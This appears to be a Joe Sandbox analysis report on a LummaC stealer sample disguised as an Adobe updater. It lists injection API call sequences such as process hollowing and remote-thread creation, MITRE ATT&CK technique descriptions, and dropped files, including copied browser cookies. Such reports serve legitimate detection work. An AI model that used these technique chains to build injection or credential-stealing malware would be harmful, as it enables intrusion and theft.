Source File: 0000000E.00000002.1974295700.0000000002A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a60000_AdobeUpdaterV202.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 95a84aaa5736c2d639be0550cb87fa331d2a921abe0953e96403bedb05cb9f32
Instruction ID: eff619e2a576bfa72e605d914d5dac78847e296e1d6e3d506b1ab6c18c0a7dc1
Opcode Fuzzy Hash: 95a84aaa5736c2d639be0550cb87fa331d2a921abe0953e96403bedb05cb9f32
Instruction Fuzzy Hash: 77127C31A002958FCB05CFA9C484AADFFB2BF49314F59C595E498AB252CB30FD85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02A604DF Relevance: 2.0, APIs: 1, Instructions: 481
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03C63584,?,?,?), ref: 02A60FC9

Memory Dump Source

Source File: 0000000E.00000002.1974295700.0000000002A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a60000_AdobeUpdaterV202.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fca98933b1499005337ef9b7b0b17c3fb8b2d7bce928524d371618610e3f2380
Instruction ID: e557ed4e62027f9a1c03b63386275869f85d335a4522c8f946b0931fab94a87f
Opcode Fuzzy Hash: fca98933b1499005337ef9b7b0b17c3fb8b2d7bce928524d371618610e3f2380
Instruction Fuzzy Hash: 5441ADB1D052889FCB01DFA9D9946EEFFF0FF49310F1480AAE488A7251D7749949CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02A60500 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 02A610B4

Memory Dump Source

Source File: 0000000E.00000002.1974295700.0000000002A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a60000_AdobeUpdaterV202.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 5682bc69776fd96827a881230b062dcf7d28dc59f1eab5a797962d55526ecf46
Instruction ID: a01a72e47247ad643428e1b88ae49f9aabc54fb69f00d7f546c0d3629f7b9933
Opcode Fuzzy Hash: 5682bc69776fd96827a881230b062dcf7d28dc59f1eab5a797962d55526ecf46
Instruction Fuzzy Hash: 9F31D3B5900289DFCF10CF9AD984ADEBBF4FB48314F10802AE959A7350D775A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02A61011 Relevance: 1.6, APIs: 1, Instructions: 67
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 02A610B4

Memory Dump Source

Source File: 0000000E.00000002.1974295700.0000000002A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a60000_AdobeUpdaterV202.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 3c9e5e988de49738e4726ac80c27d7c41958d0b0a4c94bbf00c7e99dd35a1e44
Instruction ID: a8fd3e596ec27919979f3e153af5241bb0b425767bd57a2afe55d8143e7b349a
Opcode Fuzzy Hash: 3c9e5e988de49738e4726ac80c27d7c41958d0b0a4c94bbf00c7e99dd35a1e44
Instruction Fuzzy Hash: 1331E0B59012899FCF10CFA9D984AEEBFF1FB48314F208029E958A7210D375A950CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02A604F4 Relevance: 1.6, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03C63584,?,?,?), ref: 02A60FC9

Memory Dump Source

Source File: 0000000E.00000002.1974295700.0000000002A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a60000_AdobeUpdaterV202.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 46cde1b0fc57fa7561fbec23d652820171f226c42e7da53e3f10446e5387c49d
Instruction ID: d9877674eaaab056ff2bebbd1229fa25da20d06598b42304ba0b5ab7f4c6d270
Opcode Fuzzy Hash: 46cde1b0fc57fa7561fbec23d652820171f226c42e7da53e3f10446e5387c49d
Instruction Fuzzy Hash: F22118B1901219DFCB00CF9AC884BDEFBF4FB08310F10812AE558A7240D374A954CFA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AdobeUpdaterV202.exePID: 5316, Parent PID: 2580COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03352609 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 03352778
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0335278B
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 033527A9
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 033527CD
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 033527F8
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 03352850
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 0335289B
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 033528D9
Wow64SetThreadContext.KERNEL32(?,?), ref: 03352915
ResumeThread.KERNELBASE(?), ref: 03352924

Strings

GetP, xrefs: 0335268B
Load, xrefs: 03352647
ress, xrefs: 03352693
aryA, xrefs: 0335264F

Memory Dump Source

Source File: 00000010.00000002.2056135649.0000000003352000.00000040.00000800.00020000.00000000.sdmp, Offset: 03352000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3352000_AdobeUpdaterV202.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: d38469f3e7ada88b98162843e1e4196d02fa2fce5612c33ceff1c6b2beb4802e
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 23B1E77660024AAFDB60CF68CC80BDA77A9FF88714F158564EA0CEB341D774FA518B94

Uniqueness

Uniqueness Score: -1.00%

Function 01590A31 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0, xrefs: 01590B43

Memory Dump Source

Source File: 00000010.00000002.2055087637.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1590000_AdobeUpdaterV202.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 3799603b921bc716e7eeeb6004ad3be49367a1e78a84f205e4819beca77e1c83
Instruction ID: 6d48939197543453764c7e09bb71b8b65e7a7772bbd2261fdb9b688cbdd57978
Opcode Fuzzy Hash: 3799603b921bc716e7eeeb6004ad3be49367a1e78a84f205e4819beca77e1c83
Instruction Fuzzy Hash: 56128C319002558FCB06CF69C480AADFBF6BF49310F59C599E458AB292C734FD81CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 015904DF Relevance: 1.6, APIs: 1, Instructions: 71
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(04353584,?,?,?), ref: 01590FC9

Memory Dump Source

Source File: 00000010.00000002.2055087637.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1590000_AdobeUpdaterV202.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 598a1a21eaa06c81a61052d9643748b3ea92867a1a0b0a4a60e8a97af6e0724d
Instruction ID: 84842b6a4549aaf4d868cf1f97454e84c4d3628a1de5f9f997d82a9067390297
Opcode Fuzzy Hash: 598a1a21eaa06c81a61052d9643748b3ea92867a1a0b0a4a60e8a97af6e0724d
Instruction Fuzzy Hash: 7D216B718052599FCB00DF99C884ADEFBF8FF09320F10856AE958A7251D378A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01591011 Relevance: 1.6, APIs: 1, Instructions: 70
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 015910B4

Memory Dump Source

Source File: 00000010.00000002.2055087637.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1590000_AdobeUpdaterV202.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 06112d690ceca2f481c6546f422c39bef72977cb5c7e6aca456956c79114cae4
Instruction ID: f3d076fcd50077304ba39944f38606808e3336d654f793c10b8f1c11054aacd1
Opcode Fuzzy Hash: 06112d690ceca2f481c6546f422c39bef72977cb5c7e6aca456956c79114cae4
Instruction Fuzzy Hash: 9331E2B5900249DFCF10CF99D984ADEBFF5FB48320F20842AE959A7250D375A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01590500 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 015910B4

Memory Dump Source

Source File: 00000010.00000002.2055087637.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1590000_AdobeUpdaterV202.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 06c7d39843a6cb5cbbcdf7305366ff435204e113f3c76fb8bbaa1dc330002df6
Instruction ID: 95687089acbfbb44161efc2ca266262d1887992f7b78fd91db567f6b8b5fd16a
Opcode Fuzzy Hash: 06c7d39843a6cb5cbbcdf7305366ff435204e113f3c76fb8bbaa1dc330002df6
Instruction Fuzzy Hash: C93113B1A00249DFCF10CF99D984ADEBBF4FB48310F10842AE958A7350D375A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 015904F4 Relevance: 1.6, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(04353584,?,?,?), ref: 01590FC9

Memory Dump Source

Source File: 00000010.00000002.2055087637.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1590000_AdobeUpdaterV202.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8f41137edadbc733861e05b751ba46a464ca95672d8b874cf610dca64a071345
Instruction ID: 02fc4981f22be5d394722206cd27487a514b3d924fe4c58e17ea39eb7716ff21
Opcode Fuzzy Hash: 8f41137edadbc733861e05b751ba46a464ca95672d8b874cf610dca64a071345
Instruction Fuzzy Hash: C921E8B59012199FCB00DF99C885BDEFBF8FB09320F10852AE958A7250D374A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2q45IEa3Ee.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe

C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AdobeUpdaterV202.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSIUpdaterV202.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\oRkIPIEeryat7GMgjkBr.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\02zdBXl47cvzcookies.sqlite

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\3b6N2Xdh3CYwplaces.sqlite

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\4yAbYkouo2kFHistory

Windows Analysis Report
2q45IEa3Ee.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre